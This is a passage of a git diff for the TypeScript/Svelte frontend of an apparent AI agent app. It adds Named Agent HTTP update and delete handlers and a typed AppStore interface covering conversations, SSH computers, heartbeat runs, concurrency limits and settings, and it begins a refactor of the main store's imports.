+ body: JSON.stringify(input),
+ });
+ if (!res.ok) {
+ const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
+ return {
+ ok: false,
+ error: errBody?.error ?? `Update named agent failed (HTTP ${res.status})`,
+ };
+ }
+ const agent = normalizeNamedAgentRecord(await res.json());
+ if (agent === null) return { ok: false, error: "Malformed named agent response" };
+ upsertNamedAgent(agent);
+ return { ok: true, agent };
+ } catch (err) {
+ return {
+ ok: false,
+ error: err instanceof Error ? err.message : "Update named agent request failed",
+ };
+ }
+ },
+
+ async deleteNamedAgent(id: string): Promise<NamedAgentDeleteResult> {
+ try {
+ const res = await fetchImpl(`${httpBase}/named-agents/${encodeURIComponent(id)}`, {
+ method: "DELETE",
+ });
+ if (!res.ok) {
+ const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
+ return {
+ ok: false,
+ error: errBody?.error ?? `Delete named agent failed (HTTP ${res.status})`,
+ };
+ }
+ namedAgents = namedAgents.filter((a) => a.id !== id);
+ return { ok: true };
+ } catch (err) {
+ return {
+ ok: false,
+ error: err instanceof Error ? err.message : "Delete named agent request failed",
+ };
+ }
+ },
+ };
+}
diff --git a/src/app/store-types.ts b/src/app/store-types.ts
new file mode 100644
index 0000000..6835166
--- /dev/null
+++ b/src/app/store-types.ts
@@ -0,0 +1,614 @@
+import type {
+ CompactResponse,
+ ComputerStatusResponse,
+ LspStatusResponse,
+ McpStatusResponse,
+ ModelMetadata,
+ ReasoningEffort,
+ SystemPromptVariable,
+ TestComputerResponse,
+ WarmResponse,
+} from "@dispatch/transport-contract";
+import type { SurfaceSpec } from "@dispatch/ui-contract";
+import type { ComputerEntry, ConversationStatus, ImageInput } from "@dispatch/wire";
+import type { WebSocketLike } from "../adapters/ws";
+import type { ProtocolState } from "../core/protocol";
+import type {
+ AccountUsageProviderId,
+ AccountUsageResult,
+ AccountUsageSettingsResult,
+ UpdateAccountUsageSettingsRequest,
+} from "../features/account-usage";
+import type { ChatStore } from "../features/chat";
+import type {
+ ConcurrencyCooldownResult,
+ ConcurrencyDeleteResult,
+ ConcurrencyLimitResult,
+ ConcurrencyLimitsResult,
+ ConcurrencyStatusResult,
+} from "../features/concurrency";
+import type {
+ HeartbeatConfigPatch,
+ HeartbeatConfigResult,
+ HeartbeatNextRunResult,
+ HeartbeatRunsResult,
+ HeartbeatStopResult,
+} from "../features/heartbeat";
+import type { LayoutStore } from "../features/layout";
+import type { TextFileClient } from "../features/markdown";
+import type {
+ NamedAgent,
+ NamedAgentDeleteResult,
+ NamedAgentInput,
+ NamedAgentSaveResult,
+ NamedAgentSelectionSnapshot,
+ NamedAgentsResult,
+} from "../features/named-agents";
+import type { PluginsStore } from "../features/plugins";
+import type { SearchBackendConfigResult } from "../features/search-settings";
+import type { Tab } from "../features/tabs";
+import type { VisionSettings, VisionSettingsPatch } from "../features/vision";
+import type { TileLayoutStore } from "../features/workspaces";
+
+/** Outcome of a manual `POST /chat/warm` (the "warm now" affordance). */
+export type WarmResult =
+ | { readonly ok: true; readonly response: WarmResponse }
+ | { readonly ok: false; readonly error: string };
+
+/** Outcome of `PUT /conversations/:id/cwd`. */
+export type CwdResult =
+ | { readonly ok: true; readonly cwd: string | null }
+ | { readonly ok: false; readonly error: string };
+
+/** Outcome of `PUT /conversations/:id/computer` (set/clear the per-conversation computer). */
+export type ComputerResult =
+ | { readonly ok: true; readonly computerId: string | null }
+ | { readonly ok: false; readonly error: string };
+
+/** Outcome of `GET /computers/:alias/status` (the live connection state). */
+export type ComputerStatusResult =
+ | { readonly ok: true; readonly response: ComputerStatusResponse }
+ | { readonly ok: false; readonly error: string };
+
+/** Outcome of `POST /computers/:alias/test` (one-shot connectivity probe). */
+export type TestComputerResult =
+ | { readonly ok: true; readonly response: TestComputerResponse }
+ | { readonly ok: false; readonly error: string };
+
+/** Outcome of `GET /conversations/:id/lsp`. */
+export type LspResult =
+ | { readonly ok: true; readonly response: LspStatusResponse }
+ | { readonly ok: false; readonly error: string };
+
+/** Outcome of `GET /conversations/:id/mcp`. */
+export type McpResult =
+ | { readonly ok: true; readonly response: McpStatusResponse }
+ | { readonly ok: false; readonly error: string };
+
+/** Outcome of `PUT /conversations/:id/reasoning-effort`. */
+export type ReasoningEffortResult =
+ | { readonly ok: true; readonly reasoningEffort: ReasoningEffort }
+ | { readonly ok: false; readonly error: string };
+
+/**
+ * Outcome of `PUT /conversations/:id/thinking` (PROPOSED — see
+ * `backend-handoff.md`; the endpoint is not yet shipped by the backend).
+ */
+export type ThinkingResult =
+ | { readonly ok: true; readonly thinking: boolean }
+ | { readonly ok: false; readonly error: string };
+
+/** Outcome of `POST /conversations/:id/compact` (manual compaction). */
+export type CompactResult =
+ | { readonly ok: true; readonly response: CompactResponse }
+ | { readonly ok: false; readonly error: string };
+
+/** Outcome of `PUT /conversations/:id/compact-percent`. */
+export type CompactPercentResult =
+ | { readonly ok: true; readonly percent: number }
+ | { readonly ok: false; readonly error: string };
+
+/** Outcome of `PUT /settings/vision` (global vision-settings save). */
+export type VisionSettingsResult =
+ | { readonly ok: true; readonly settings: VisionSettings }
+ | { readonly ok: false; readonly error: string };
+
+/** Outcome of `GET /system-prompt` (global template load). */
+export type SystemPromptLoadResult =
+ | { readonly ok: true; readonly template: string }
+ | { readonly ok: false; readonly error: string };
+
+/** Outcome of `PUT /system-prompt` (global template save). */
+export type SystemPromptSaveResult = SystemPromptLoadResult;
+
+/** Outcome of `GET /system-prompt/variables` (variable catalog). */
+export type SystemPromptVariablesResult =
+ | { readonly ok: true; readonly variables: readonly SystemPromptVariable[] }
+ | { readonly ok: false; readonly error: string };
+
+/** Outcome of persisting a chat-limit setting (localStorage; FE-local). */
+export type ChatLimitResult =
+ | { readonly ok: true; readonly chatLimit: number }
+ | { readonly ok: false; readonly error: string };
+
+export interface AppStore {
+ readonly tabs: readonly Tab[];
+ readonly activeConversationId: string | null;
+ /** The workspace currently in view (URL slug); tabs are filtered to it. */
+ readonly activeWorkspaceId: string;
+ /**
+ * The resolved HTTP API base URL (e.g. `http://localhost:24203`). Used to
+ * resolve relative image URLs served by the backend (`/images/…`) into
+ * absolute URLs for `<img src>`.
+ */
+ readonly httpBase: string;
+ readonly activeChat: ChatStore;
+ readonly models: readonly string[];
+ /** Per-model metadata (contextWindow, etc.) from `GET /models`. */
+ readonly modelInfo: Readonly<Record<string, ModelMetadata>>;
+ readonly activeModel: string;
+ readonly catalog: ProtocolState["catalog"];
+ /** Every received surface spec, in catalog order — all auto-subscribed + expanded. */
+ readonly surfaces: readonly SurfaceSpec[];
+ readonly lastError: ProtocolState["lastError"];
+ /** The localStorage instance the store uses for persistence (tabs, chatLimit).
+ * Exposed so the shell can persist sidebar layout via the same adapter. */
+ readonly storage: Storage | undefined;
+ /**
+ * The current spec by id, or null if absent. With conversationId, require a
+ * snapshot received for that conversation (not a retained prior-scope spec).
+ */
+ surface(surfaceId: string, conversationId?: string): SurfaceSpec | null;
+ /**
+ * Send a user message (start a turn). Forwards any staged `images`
+ * (`ImageInput[]` — base64 data URLs / https URLs) on the `chat.send` op;
+ * the server passes them to a vision-capable model natively or transcribes
+ * them via vision handoff for a non-vision model. Omitted on the wire when
+ * none are staged. On a draft, promotes to a tab first.
+ */
+ send(text: string, images?: readonly ImageInput[]): void;
+ /**
+ * Enqueue a steering message onto the focused conversation's queue
+ * (`chat.queue` WS op). While a turn is generating, the message is delivered
+ * mid-turn at the next tool-result boundary; when idle, the server
+ * auto-starts a turn (equivalent to `send`). Safe to offer whenever the user
+ * wants to add input — the server owns the idle-vs-generating decision.
+ */
+ queueMessage(text: string, images?: readonly ImageInput[]): void;
+ /**
+ * Cancel (remove) a single queued steering message by id so it never runs
+ * (`chat.queue.cancel` WS op). Fire-and-forget + idempotent: the
+ * message-queue surface update reconciles the queue UI (the cancelled message
+ * leaves the snapshot). Targets the focused conversation's queue. The caller
+ * optimistically hides the row; a cancel of an already-drained / unknown
+ * message is a silent server no-op (nothing to roll back).
+ */
+ cancelQueuedMessage(messageId: string): void;
+ /** Select a raw model for the active conversation. Pass `snapshot` to record a Named Agent selection (plan §7). */
+ selectModel(model: string, snapshot?: NamedAgentSelectionSnapshot): void;
+ newDraft(): void;
+ /** Switch the active workspace (on route change) + reset to a fresh draft in it. */
+ setActiveWorkspace(workspaceId: string): void;
+ selectTab(conversationId: string): void;
+ closeTab(conversationId: string): void;
+ renameTab(conversationId: string, title: string): void;
+ /**
+ * Move a tab into a subagent group (the tab group parent's id) or out of
+ * any group (null). Purely presentational (NOT lineage): applied
+ * optimistically, persisted via `PUT /conversations/:id/tab-group` (synced
+ * to other clients by `conversation.tabGroupChanged`), reverted on failure.
+ */
+ setTabGroup(conversationId: string, parentId: string | null): void;
+ invoke(surfaceId: string, actionId: string, payload?: unknown): void;
+ /**
+ * Explicitly (re-)subscribe one surface, scoped to `conversationId` (or the
+ * focused conversation when absent) — the frontend-plugin ABI's
+ * `surfaces.subscribe` path (plan 03). The app auto-subscribes every
+ * catalog entry; this is the re-assertion port (same wire semantics).
+ */
+ subscribeSurface(surfaceId: string, conversationId?: string): void;
+ /** Drop one surface's subscription (the ABI's `surfaces.unsubscribe`). */
+ unsubscribeSurface(surfaceId: string, conversationId?: string): void;
+ /**
+ * Manually warm the focused conversation's prompt cache (`POST /chat/warm`).
+ * Returns null when no conversation is focused (a draft has nothing to warm).
+ */
+ warmNow(): Promise<WarmResult | null>;
+ /** The workspace conversation's persisted working directory, or null when unset. */
+ readonly cwd: string | null;
+ /** Invalidates live-file routing after known settings changes. */
+ readonly textFileContextRevision: number;
+ createTextFileClient(conversationId: string): TextFileClient;
+ /** The conversation workspace settings target: the active tab, or the pending draft's id. */
+ readonly currentConversationId: string;
+ /**
+ * Set the workspace conversation's working directory (`PUT /conversations/:id/cwd`).
+ * Works for a draft too (its id survives promotion), so the first turn runs in it.
+ */
+ setCwd(cwd: string): Promise<CwdResult | null>;
+ /**
+ * The workspace conversation's persisted computer (an SSH `Host` alias), or
+ * null when never set / local. Seeded from the backend on focus change.
+ */
+ readonly computerId: string | null;
+ /**
+ * Persist the workspace conversation's computer (`PUT /conversations/:id/computer`).
+ * Pass null to clear → the conversation inherits the workspace default → local.
+ * Works for a draft too (its id survives promotion). Not seen by the agent — a
+ * user-facing tool-execution target only.
+ */
+ setComputer(computerId: string | null): Promise<ComputerResult | null>;
+ /**
+ * Every remote computer discovered from the user's `~/.ssh/config`
+ * (`GET /computers`), fetched on boot. Read-only — there is no Computer CRUD
+ * (the user edits their ssh config to add one). Empty until the `ssh`
+ * extension lands.
+ */
+ readonly computers: readonly ComputerEntry[];
+ /**
+ * The live connection state of a computer (`GET /computers/:alias/status`):
+ * whether Dispatch currently holds an open SSH session to it. Returns null
+ * only if no alias is given (the focused conversation is local). Polled by the
+ * `ComputerField` while a computer is selected.
+ */
+ computerStatus(alias: string): Promise<ComputerStatusResult | null>;
+ /**
+ * One-shot connectivity probe (`POST /computers/:alias/test`): Dispatch opens
+ * an SSH connection to the alias, runs a trivial command, then closes. `ok` is
+ * true on success; `error` carries the failure reason otherwise.
+ */
+ testComputer(alias: string): Promise<TestComputerResult | null>;
+ /**
+ * The workspace conversation's persisted reasoning effort, or null when never
+ * set (the server then resolves turns at the default, `"high"`).
+ */
+ readonly reasoningEffort: ReasoningEffort | null;
+ /**
+ * Persist the workspace conversation's reasoning effort
+ * (`PUT /conversations/:id/reasoning-effort`). Works for a draft too (its id
+ * survives promotion), so the first turn already runs at the chosen level.
+ * Takes effect from the NEXT turn; resolution stays server-owned.
+ */
+ setReasoningEffort(level: ReasoningEffort): Promise<ReasoningEffortResult | null>;
+ /**
+ * The workspace conversation's persisted thinking flag, or null when never
+ * set (the server then resolves turns with thinking ON — the default).
+ * `false` ⇒ thinking disabled entirely (the SEPARATE "off" axis — NOT a
+ * zero-effort level; the umans route maps it to `reasoning_effort: "none"`).
+ * PROPOSED backend contract — see `backend-handoff.md`.
+ */
+ readonly thinking: boolean | null;
+ /**
+ * Persist the workspace conversation's thinking flag
+ * (`PUT /conversations/:id/thinking`). Works for a draft too (its id survives
+ * promotion), so the first turn already runs with the chosen setting. Takes
+ * effect from the NEXT turn; resolution stays server-owned.
+ * PROPOSED backend contract — see `backend-handoff.md`.
+ */
+ setThinking(enabled: boolean): Promise<ThinkingResult | null>;
+ /**
+ * Manually trigger conversation compaction (`POST /conversations/:id/compact`).
+ * Summarizes old messages + retains the most recent N. Returns null when no
+ * conversation is focused (a draft has nothing to compact).
+ */
+ compactNow(keepLastN?: number): Promise<CompactResult | null>;
+ /**
+ * Stop an in-flight generation (`POST /conversations/:id/stop`). Aborts the
+ * turn without closing the conversation — partial messages are persisted, the
+ * turn seals with `reason: "aborted"`, and the conversation goes `active → idle`.
+ * Returns null when no conversation is focused.
+ */
+ stopGeneration(): void;
+ /**
+ * The workspace conversation's auto-compact percent (0-100). `0` = disabled
+ * (manual only); a positive number = auto-compact triggers when the last
+ * turn's input tokens exceed it. Seeded from the backend on focus change.
+ */
+ readonly compactPercent: number | null;
+ /**
+ * Persist the workspace conversation's auto-compact percent
+ * (`PUT /conversations/:id/compact-percent`). `0` disables; 1-100 sets the
+ * trigger percentage of the model's context window. Default (null) is 85.
+ * number enables. Works for a draft too (its id survives promotion).
+ */
+ setCompactPercent(percent: number): Promise<CompactPercentResult | null>;
+ /**
+ * The GLOBAL vision settings (`GET /settings/vision`): `imageLimit` (max
+ * native images per turn before compaction; 0 = disabled) + `compactionModel`
+ * (which vision model transcribes old images; null = auto). Shared across all
+ * conversations. Seeded on boot; `null` = not yet fetched.
+ */
+ readonly visionSettings: VisionSettings | null;
+ /**
+ * Refetch the global vision settings (`GET /settings/vision`). Called by the
+ * vision-settings view on mount; also seeded on boot.
+ */
+ refreshVisionSettings(): Promise<void>;
+ /**
+ * Save a PARTIAL vision-settings update (`PUT /settings/vision`). Either
+ * field may be omitted. Returns the merged settings on success.
+ */
+ setVisionSettings(patch: VisionSettingsPatch): Promise<VisionSettingsResult | null>;
+ /**
+ * Fetch the workspace conversation's language-server status (`GET /conversations/:id/lsp`).
+ * The backend lazily spawns servers, so this may take a moment on the first call for a cwd.
+ */
+ lspStatus(): Promise<LspResult | null>;
+ /**
+ * Fetch the workspace conversation's MCP server status (`GET /conversations/:id/mcp`).
+ * Mirrors the LSP status endpoint: returns `{cwd, servers}` with empty `servers`
+ * when no cwd is set; the backend lazily connects servers, so this may take a
+ * moment on the first call for a cwd.
+ */
+ mcpStatus(): Promise<McpResult | null>;
+ /**
+ * Load the global system prompt template (`GET /system-prompt`). The template is
+ * conversation-agnostic; it is resolved once per conversation on first turn and
+ * persisted for prompt-cache safety.
+ */
+ loadSystemPrompt(): Promise<SystemPromptLoadResult>;
+ /**
+ * Persist the global system prompt template (`PUT /system-prompt`). Changes apply
+ * to new conversations on their first turn; existing conversations keep their
+ * resolved system prompt until compaction.
+ */
+ setSystemPrompt(template: string): Promise<SystemPromptSaveResult>;
+ /**
+ * Load the static catalog of available system prompt variables (`GET /system-prompt/variables`).
+ * Used by the builder to render the variable selector buttons.
+ */
+ loadSystemPromptVariables(): Promise<SystemPromptVariablesResult>;
+ /** The persisted chat limit (max loaded chunks per conversation). */
+ readonly chatLimit: number;
+ /**
+ * A conversation's backend lifecycle status (`active`/`idle`/`closed`), or
+ * `undefined` when unknown. Drives the tab-bar generating indicator
+ * (cross-device: a tab spinning because another device's turn is running).
+ */
+ conversationStatus(conversationId: string): ConversationStatus | undefined;
+ /**
+ * Whether at least one conversation in the given workspace is currently
+ * active or queued (generating / waiting for a concurrency slot) — drives
+ * the loading-dots indicator on workspace cards. Backed by a once-derived
+ * `activeWorkspaces` set (the open-tab set × the backend lifecycle statuses)
+ * so this is an O(1) lookup, not a per-card scan of the full tab list.
+ * Reactive: the set is a `$derived`, so a Svelte template expression calling
+ * this re-runs when the tab set or status map changes.
+ */
+ workspaceHasActiveConversations(workspaceId: string): boolean;
+ /**
+ * Persist + live-apply a new chat limit: writes `dispatch.chatLimit` to
+ * localStorage and propagates to every live chat store (trim if lower,
+ * deferred via the unload gate while a reader is scrolled up; no-op if
+ * higher — page unloaded history back in via "Show earlier"). Stores created
+ * afterwards pick the new limit up at creation. Always succeeds (FE-local).
+ */
+ setChatLimit(limit: number): Promise<ChatLimitResult>;
+ /**
+ * Wire the chat-limit unload gate (composition-root injection, called once by
+ * the shell after it owns the scroll region): unloading old chunks is allowed
+ * only while the gate returns true — i.e. the reader is stuck to the bottom —
+ * so a trim never yanks content out from under someone reading history.
+ * Before attachment unloading is allowed (the initial view starts at the
+ * bottom).
+ */
+ attachUnloadGate(gate: () => boolean): void;
+ /**
+ * Load the active workspace's heartbeat config
+ * (`GET /workspaces/:id/heartbeat`). Workspace-scoped (NOT per-conversation):
+ * the backend runs an autonomous agent loop on a configured interval, writing
+ * each run into a dedicated conversation. The config covers the system/task
+ * prompts, model, reasoning effort, interval, and an enabled flag.
+ */
+ heartbeatConfig(): Promise<HeartbeatConfigResult>;
+ /**
+ * Persist a partial heartbeat config patch
+ * (`PUT /workspaces/:id/heartbeat`). The backend merges the patch onto the
+ * stored config; returns the full updated config.
+ */
+ setHeartbeatConfig(patch: HeartbeatConfigPatch): Promise<HeartbeatConfigResult>;
+ /**
+ * Load the active workspace's heartbeat run history
+ * (`GET /workspaces/:id/heartbeat/runs`). Each run references the conversation
+ * it wrote to — open one via {@link watchConversation} to see its chat live.
+ */
+ heartbeatRuns(): Promise<HeartbeatRunsResult>;
+ /**
+ * Stop a running heartbeat run (`POST /workspaces/:id/heartbeat/runs/:runId/stop`).
+ * The run's in-flight turn seals (its conversation keeps streaming until it
+ * ends); the run's status flips to `stopped` (visible on the next runs poll).
+ */
+ stopHeartbeatRun(runId: string): Promise<HeartbeatStopResult>;
+ /**
+ * Fetch the server-authoritative next-run timestamp
+ * (`GET /workspaces/:id/heartbeat/next-run`) — when the next heartbeat run
+ * will fire (ISO 8601), or null when disabled / no run scheduled. The FE shows
+ * a live countdown from this. When the endpoint is absent (404 — backend
+ * hasn't shipped CR-HB-3 yet) it returns `ok: false` so the FE falls back to
+ * an approximation from the runs + config.
+ */
+ heartbeatNextRun(): Promise<HeartbeatNextRunResult>;
+ /**
+ * Open a "watch" on a conversation for a modal viewer (the heartbeat run-chat
+ * modal): ensures a live {@link ChatStore} for the conversation, subscribing
+ * to its turn stream (`chat.subscribe`) + loading history. Reuses the open
+ * tab's store if the conversation is already a tab; otherwise creates an
+ * EPHEMERAL watch store (separate from tabs — never opens a tab). Deltas are
+ * routed to it automatically. Pair every open with {@link unwatchConversation}
+ * on close to unsubscribe + dispose the ephemeral store.
+ */
+ watchConversation(conversationId: string): ChatStore;
+ /** Dispose + unsubscribe a watch opened by {@link watchConversation}. */
+ unwatchConversation(conversationId: string): void;
+ /**
+ * Load all configured per-provider concurrency limits
+ * (`GET /concurrency/limits`). Global (not workspace-scoped). Returns an empty
+ * list when the concurrency extension isn't loaded (`{ limits: [] }`).
+ */
+ concurrencyLimits(): Promise<ConcurrencyLimitsResult>;
+ /**
+ * Fetch the configured limit for one provider
+ * (`GET /concurrency/limits/:providerId`). `404` (no limit configured) and
+ * `503` (extension not loaded) both surface as `ok: false`.
+ */
+ getConcurrencyLimit(providerId: string): Promise<ConcurrencyLimitResult>;
+ /**
+ * Set or update a provider's concurrency limit
+ * (`PUT /concurrency/limits/:providerId`, body `{ limit }`). `limit` must be a
+ * positive integer (a non-positive body is `400`). At the cap, further requests
+ * queue oldest-agent-first rather than being sent immediately.
+ */
+ setConcurrencyLimit(providerId: string, limit: number): Promise<ConcurrencyLimitResult>;
+ /**
+ * Remove a provider's concurrency limit (`DELETE /concurrency/limits/:providerId`),
+ * making it unlimited. `404` (not configured) and `503` (extension not loaded)
+ * both surface as `ok: false`.
+ */
+ deleteConcurrencyLimit(providerId: string): Promise<ConcurrencyDeleteResult>;
+ /**
+ * Fetch live concurrency status for every provider with a configured limit
+ * (`GET /concurrency/status`): in-flight slots held, agents queued, and a paused
+ * state with a `pausedUntil` epoch-ms when a 429 backoff is in effect. Each
+ * entry also carries the per-slot release `cooldownMs` + an `autoReduced` flag
+ * (true when a 429 auto-reduced the limit by 1; the FE renders a banner). Returns
+ * an empty list when the extension isn't loaded (`{ providers: [] }`).
+ */
+ concurrencyStatus(): Promise<ConcurrencyStatusResult>;
+ /**
+ * Load Claude + Codex subscription usage (`GET /usage`). Served from the
+ * backend's cache (5 min TTL); `refresh: true` sends `?refresh=1`, which the
+ * server still rate-limits (min interval + failure cooldown). A 503 (the
+ * `account-usage` extension isn't loaded) returns `unavailable: true`.
+ */
+ accountUsage(opts?: { readonly refresh?: boolean }): Promise<AccountUsageResult>;
+ /**
+ * Update a provider's usage settings (`PUT /usage/:provider/settings`; today
+ * only `hyper`: `dailyAllowance` + `resetAnchor` epoch-ms or null). Returns
+ * the provider's refreshed report.
+ */
+ setAccountUsageSettings(
+ provider: AccountUsageProviderId,
+ settings: UpdateAccountUsageSettingsRequest,
+ ): Promise<AccountUsageSettingsResult>;
+ /**
+ * Load the GLOBAL search-backend selection
+ * (`GET /search/config`): which engine backs the `web_search` tool's search
+ * mode. Not workspace-scoped — the selection is global. `unavailable: true`
+ * on the failure variant marks the 503 degrade (the backend's
+ * search-config service not loaded) so the UI can disable the field.
+ */
+ searchBackendConfig(): Promise<SearchBackendConfigResult>;
+ /**
+ * Persist a new search-backend selection
+ * (`PUT /search/config`, body `{ backend }`). `400` (unknown/unconfigured
+ * backend) and `503` (service not loaded) both surface as `ok: false`.
+ */
+ setSearchBackend(backend: string): Promise<SearchBackendConfigResult>;
+ /**
+ * Fetch the per-slot release cooldown (ms) for one provider
+ * (`GET /concurrency/cooldown/:providerId`). `404` (no concurrency config at
+ * all) and `503` (extension not loaded) both surface as `ok: false`.
+ */
+ getConcurrencyCooldown(providerId: string): Promise<ConcurrencyCooldownResult>;
+ /**
+ * Set the per-slot release cooldown (ms) for one provider
+ * (`PUT /concurrency/cooldown/:providerId`, body `{ cooldownMs }`). `cooldownMs`
+ * must be a non-negative integer (0 = no cooldown / instant re-admission); an
+ * invalid body is `400`. Persists + applies to subsequently recycled slots.
+ */
+ setConcurrencyCooldown(
+ providerId: string,
+ cooldownMs: number,
+ ): Promise<ConcurrencyCooldownResult>;
+ /**
+ * A critical error that blocks normal operation (e.g. the cross-device tab
+ * restore fetch failed). When non-null, a full-screen modal is shown with the
+ * error details. Cleared by `clearFatalError` (the modal's dismiss button).
+ */
+ readonly fatalError: string | null;
+ /** Dismiss the fatal error (called by the error modal's X button). */
+ clearFatalError(): void;
+ // ── Named Agents (global config; plan §9) ──────────────────────────────────
+ /**
+ * The persisted Named Agents (from `GET /named-agents`). Global user config
+ * (not per-workspace); seeded on boot. Drives the sidebar editor AND the
+ * synthetic "Named Agents" provider in the model selector (plan §6).
+ */
+ readonly namedAgents: readonly NamedAgent[];
+ /**
+ * The active conversation's Named Agent selection snapshot (plan §7), or null
+ * when it was selected via a raw model. Survives the Named Agent being renamed
+ * / removed (the snapshot retains the friendly label + captured raw model).
+ */
+ readonly namedAgentSnapshot: NamedAgentSelectionSnapshot | null;
+ /** Refetch the Named Agents (`GET /named-agents`). */
+ refreshNamedAgents(): Promise<NamedAgentsResult>;
+ // ── Plugins (plan 07) ──────────────────────────────────────────────────────
+ /**
+ * The plugin manager + per-workspace enablement store (one instance per
+ * app store). The workspaces page's manager/modal read + mutate through
+ * it; the app store feeds its `onExtensionsChanged` hook.
+ */
+ readonly plugins: PluginsStore;
+ /**
+ * The ACTIVE workspace's tile tree (plan 02): served by the backend's
+ * layout provider when one is active, the local default otherwise. The
+ * shell reads `tree` for the renderer and feeds edits back through
+ * `onTreeChange` (debounced PUT + rollback); the store owns the probes,
+ * the WS-push filter, and the no-provider degrade.
+ */
+ readonly layout: LayoutStore;
+ /**
+ * The home grid's synced tile layout (ONE shared document per device
+ * orientation — `wide` = landscape/desktop, `tall` = portrait/mobile),
+ * served by the backend's home-tile-layout plugin. The home page locks the
+ * active orientation to the resolved grid geometry; this store owns the
+ * probes, the WS-push filter, the debounced PUT + rollback, and the
+ * offline degrade.
+ */
+ readonly tileLayout: TileLayoutStore;
+ /**
+ * Loaded provider-tier plugins effectively enabled in the ACTIVE workspace
+ * (`GET /workspaces/:id/plugins/providers-status`). `null` = unknown — the
+ * first-boot guardrail renders only on a confident `0` (§7).
+ */
+ readonly enabledProviderCount: number | null;
+ /**
+ * Create a Named Agent (`POST /named-agents`). On success the store's
+ * `namedAgents` list is updated (append/replace) so every consumer — the
+ * sidebar editor AND the model selector — reflects it without a reload.
+ */
+ createNamedAgent(input: NamedAgentInput): Promise<NamedAgentSaveResult>;
+ /**
+ * Update a Named Agent (`PUT /named-agents/:id`). On success the store list is
+ * updated in place. Returns the canonical saved record.
+ */
+ updateNamedAgent(id: string, input: NamedAgentInput): Promise<NamedAgentSaveResult>;
+ /**
+ * Remove a Named Agent (`DELETE /named-agents/:id`). On success it leaves the
+ * store list immediately (removing it from the sidebar + model selector), and
+ * does NOT alter conversations that previously selected it (those keep their
+ * snapshot — plan §7).
+ */
+ deleteNamedAgent(id: string): Promise<NamedAgentDeleteResult>;
+ dispose(): void;
+}
+
+export interface CreateAppStoreOptions {
+ url?: string;
+ httpUrl?: string;
+ socketFactory?: (url: string) => WebSocketLike;
+ fetchImpl?: typeof fetch;
+ indexedDB?: IDBFactory;
+ conversationId?: string;
+ localStorage?: Storage;
+ /** The workspace to scope to at boot (its URL slug); "default" if absent. */
+ workspaceId?: string;
+ /**
+ * How live chat events are batched before folding into a chat store.
+ * Default: once per animation frame (with a timeout fallback for hidden
+ * tabs). `null` = fold every event synchronously (tests that assert on the
+ * transcript immediately after feeding a frame).
+ */
+ chatFlushScheduler?: ((flush: () => void) => void) | null;
+}
diff --git a/src/app/store.svelte.ts b/src/app/store.svelte.ts
index 22b0a25..8fcc4cc 100644
--- a/src/app/store.svelte.ts
+++ b/src/app/store.svelte.ts
@@ -1,537 +1,81 @@
import type {
- ChatDeltaMessage,
- ChatErrorMessage,
- CompactPercentResponse,
- CompactResponse,
- ComputerListResponse,
- ComputerStatusResponse,
- ConversationCompactedMessage,
- ConversationComputerResponse,
- ConversationHistoryResponse,
- ConversationListResponse,
- ConversationMetricsResponse,
- ConversationOpenMessage,
- ConversationStatusChangedMessage,
- CwdResponse,
- LspStatusResponse,
- McpStatusResponse,
ModelMetadata,
ModelResponse,
- ModelsResponse,
ReasoningEffort,
- ReasoningEffortResponse,
- SetCompactPercentRequest,
- SetConversationComputerRequest,
- SetCwdRequest,
SetModelRequest,
- SetReasoningEffortRequest,
- SetSystemPromptTemplateRequest,
- SetTitleRequest,
- SetVisionSettingsRequest,
- SystemPromptTemplateResponse,
- SystemPromptVariable,
- SystemPromptVariablesResponse,
- TestComputerResponse,
- WarmRequest,
- WarmResponse,
+ WorkspaceSetMessage,
} from "@dispatch/transport-contract";
-import type { SubscribeMessage, SurfaceServerMessage, SurfaceSpec } from "@dispatch/ui-contract";
+import type { SurfaceSpec } from "@dispatch/ui-contract";
import type { ComputerEntry, ConversationStatus, ImageInput } from "@dispatch/wire";
-import { untrack } from "svelte";
import { createIdbChunkStore } from "../adapters/idb";
import { createLocalStore } from "../adapters/local-storage";
-import type { WebSocketLike } from "../adapters/ws";
-import { createSurfaceSocket, type SurfaceSocketOptions } from "../adapters/ws";
-import { normalizeChatLimit } from "../core/chunks";
-import {
- applyServerMessage,
- getSurfaceSpec,
- type ProtocolState,
- initialState as protocolInitialState,
- invoke as protocolInvoke,
- subscribe as protocolSubscribe,
- unsubscribe as protocolUnsubscribe,
-} from "../core/protocol";
-import type { ChatStore, HistorySync, MetricsSync } from "../features/chat";
-import { createChatStore } from "../features/chat";
-import type {
- ConcurrencyCooldownResult,
- ConcurrencyDeleteResult,
- ConcurrencyLimitResult,
- ConcurrencyLimitsResult,
- ConcurrencyStatusResult,
-} from "../features/concurrency";
-import {
- normalizeConcurrencyCooldown,
- normalizeConcurrencyLimit,
- normalizeConcurrencyLimits,
- normalizeConcurrencyStatus,
-} from "../features/concurrency";
-import type { ConversationCache } from "../features/conversation-cache";
+import { createSurfaceSocket } from "../adapters/ws";
+import { getSurfaceSpec } from "../core/protocol";
+import type { ChatStore } from "../features/chat";
+import { migrateLegacyModelName } from "../features/chat";
import { createConversationCache } from "../features/conversation-cache";
-import type {
- HeartbeatConfig,
- HeartbeatConfigPatch,
- HeartbeatConfigResult,
- HeartbeatNextRunResult,
- HeartbeatRun,
- HeartbeatRunsResult,
- HeartbeatStopResult,
-} from "../features/heartbeat";
-import { normalizeHeartbeatConfig, normalizeHeartbeatRuns } from "../features/heartbeat";
+import type { LayoutStore } from "../features/layout";
+import {
+ createLayoutAbiPort,
+ createLayoutHttp,
+ createLayoutStore,
+ listPanelViews,
+} from "../features/layout";
+import { createTextFileClient } from "../features/markdown";
+import type { NamedAgent, NamedAgentSelectionSnapshot } from "../features/named-agents";
+import type { PluginsStore } from "../features/plugins";
+import { createPluginsHttp, createPluginsStore } from "../features/plugins";
import type { Tab, TabsState } from "../features/tabs";
import { createTabsStore, deriveTitle, type TabsStore } from "../features/tabs";
+import type { VisionSettings } from "../features/vision";
import {
- normalizeVisionSettings,
- type VisionSettings,
- type VisionSettingsPatch,
-} from "../features/vision";
+ createTileLayoutHttp,
+ createTileLayoutStore,
+ geometryFor,
+ type TileLayoutStore,
+} from "../features/workspaces";
+import { createChatRegistry } from "./chat-registry.svelte";
+import { createConversationSettings } from "./conversation-settings.svelte";
+import { createHistorySync, createMetricsSync } from "./history-sync";
+import { createHttpActions } from "./http-actions";
+import { createOpenConversations } from "./open-conversations.svelte";
+import { createPluginHost } from "./plugin-host.svelte";
